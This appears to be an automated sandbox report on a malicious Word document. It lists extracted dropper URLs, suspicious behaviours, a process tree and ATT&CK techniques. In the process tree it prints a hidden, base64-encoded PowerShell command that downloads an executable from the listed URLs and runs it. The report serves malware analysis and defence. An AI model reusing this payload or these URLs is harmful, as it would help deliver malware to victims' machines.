Overview

overview

8

task1

 

8

Analysis

  • max time kernel
    23s
  • resource
    win10v191014
  • submitted
    13-12-2019 11:20

Sharing

Copy URL
Twitter E-mail

General

  • Target

    f0ba68612d778e67d2b1beca47c61be58753bd517660d99476481f3e548cfe50.doc

  • Sample

    191213-61416bndde

  • SHA256

    f0ba68612d778e67d2b1beca47c61be58753bd517660d99476481f3e548cfe50

Score
8/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://birdlandonetoone.com/blogs/xth90m/
exe.dropper

http://generalpro.com/_private/a/
exe.dropper

http://kuznetsov.ca/thumbs/y/
exe.dropper

http://horal.sk/2016/YO/
exe.dropper

http://indrikov.com/in_velox_libertas/bj/

Signatures

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f0ba68612d778e67d2b1beca47c61be58753bd517660d99476481f3e548cfe50.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    PID:4984
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABHAGMAZQB6AHIAdwBwAGIAZQByAD0AJwBFAGsAbQBlAGcAbwBnAGMAeQBpAGQAYgAnADsAJABRAG4AZABoAGYAdQB1AGEAIAA9ACAAJwAxADUAMgAnADsAJABHAGUAeAB6AG0AYwBuAGIAegByAGIAPQAnAE4AbwB4AGsAcwB2AGkAcwB1AGIAJwA7ACQATQB5AGEAaABjAHcAYgBrAGgAZABxAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAbgBkAGgAZgB1AHUAYQArACcALgBlAHgAZQAnADsAJABVAHUAbwB4AHkAYwB2AGsAZwA9ACcARwByAHYAcwByAGoAbQBtAGUAdgB2AHAAawAnADsAJABWAGcAYwB0AG8AYgBiAHIAaABnAHQAbABxAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAdAAuAHcAZQBCAGMATABpAGUAbgB0ADsAJABYAG0AdQB0AGUAcwBvAGEAaAB5AD0AJwBoAHQAdABwADoALwAvAGIAaQByAGQAbABhAG4AZABvAG4AZQB0AG8AbwBuAGUALgBjAG8AbQAvAGIAbABvAGcAcwAvAHgAdABoADkAMABtAC8AKgBoAHQAdABwADoALwAvAGcAZQBuAGUAcgBhAGwAcAByAG8ALgBjAG8AbQAvAF8AcAByAGkAdgBhAHQAZQAvAGEALwAqAGgAdAB0AHAAOgAvAC8AawB1AHoAbgBlAHQAcwBvAHYALgBjAGEALwB0AGgAdQBtAGIAcwAvAHkALwAqAGgAdAB0AHAAOgAvAC8AaABvAHIAYQBsAC4AcwBrAC8AMgAwADEANgAvAFkATwAvACoAaAB0AHQAcAA6AC8ALwBpAG4AZAByAGkAawBvAHYALgBjAG8AbQAvAGkAbgBfAHYAZQBsAG8AeABfAGwAaQBiAGUAcgB0AGEAcwAvAGIAagAvACcALgAiAHMAcABMAGAASQB0ACIAKAAnACoAJwApADsAJABKAGkAeQB4AG0AZABrAHUAcwBpAHoAZAA9ACcARwBpAGUAZQBxAHIAcwB3AGMAcgBqACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAGsAZQBjAHQAdQB0AG8AagAgAGkAbgAgACQAWABtAHUAdABlAHMAbwBhAGgAeQApAHsAdAByAHkAewAkAFYAZwBjAHQAbwBiAGIAcgBoAGcAdABsAHEALgAiAEQATwBgAHcAbgBsAE8AQQBgAEQAZgBpAGwAZQAiACgAJABPAGsAZQBjAHQAdQB0AG8AagAsACAAJABNAHkAYQBoAGMAdwBiAGsAaABkAHEAYwApADsAJABJAGoAegBmAGQAbgBmAHMAbQBsAGoAPQAnAFcAeABkAGsAcgBmAGwAeAB5AG4AcQBrACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQATQB5AGEAaABjAHcAYgBrAGgAZABxAGMAKQAuACIAbABlAE4AYABHAFQASAAiACAALQBnAGUAIAAzADUAMgAwADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQBSAFQAIgAoACQATQB5AGEAaABjAHcAYgBrAGgAZABxAGMAKQA7ACQATgBnAGcAbgBlAG8AYgBrAD0AJwBWAHEAdgB3AHQAdwB2AGgAJwA7AGIAcgBlAGEAawA7ACQAVQB0AHIAegBkAHcAcgBrAHcAaQB1AGoAPQAnAEYAZwBmAHYAcwBmAHUAbgBrACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAcQBhAGUAcQB2AGQAeAB5AGcAdQBvAGgAPQAnAFgAcgBuAGsAaQBsAHYAcQBxACcA
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4524
    • C:\Users\Admin\152.exe
      "C:\Users\Admin\152.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      PID:4676
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4644
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:4784

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    Query Registry

    3
    T1012

    System Information Discovery

    3
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

    Loading Replay Monitor...

    Downloads